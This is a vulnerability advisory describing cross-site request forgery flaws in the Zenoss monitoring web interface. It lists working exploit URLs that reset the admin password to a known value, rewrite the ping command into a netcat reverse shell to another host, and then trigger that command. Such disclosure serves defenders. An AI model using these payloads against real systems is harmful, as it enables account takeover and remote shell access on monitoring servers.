I. BACKGROUND
Zenoss is a commercial and open source systems and network monitoring tool. Much
of the applications functionality is accessible via a front end web application.

II. DETAILS

 Multiple CSRF vulnerabilities exist that can allow for arbitrary
 commands to be executed on the Zenoss server as well as reset the Zenoss
 admin password.

 Attack scenario: If an administrator has an active Zenoss
 session and visits one of these links or visits a malicious page that
 contains resources to point to these URL's

 1. Reset user password to a known state Cross-Site Request Forgery CSRF,
 in this case the password is reset to letmein.

    http://172.16.28.5:8080/zport/dmd/ZenUsers/admin?defaultAdminLevel:int=1&
    defaultAdminRole=ZenUser&defaultPageSize:int=40&email=&eventConsoleRefresh:
    boolean=True&manage_editUserSettings:method=Save&netMapStartObject=&pager=&
    password=letmein&sndpassword=letmein&zenScreenName=editUserSettings

 2. Change and execute a command CSRF.
 Change the ping command to be a netcat shell out to a remote system. In
 this case an internal system running on port 443

    http://172.16.28.5:8080/zport/dmd/userCommands/ping?command:text=nc -e
    /bin/bash 172.16.28.6 443&commandId=ping&description:text=&
    manage_editUserCommand:method=Save&zenScreenName=userCommandDetail

 Execute the new "ping" command:
 http://172.16.28.5:8080/zport/dmd/Devices/devices/localhost/manage_doUserCommand?commandId=ping
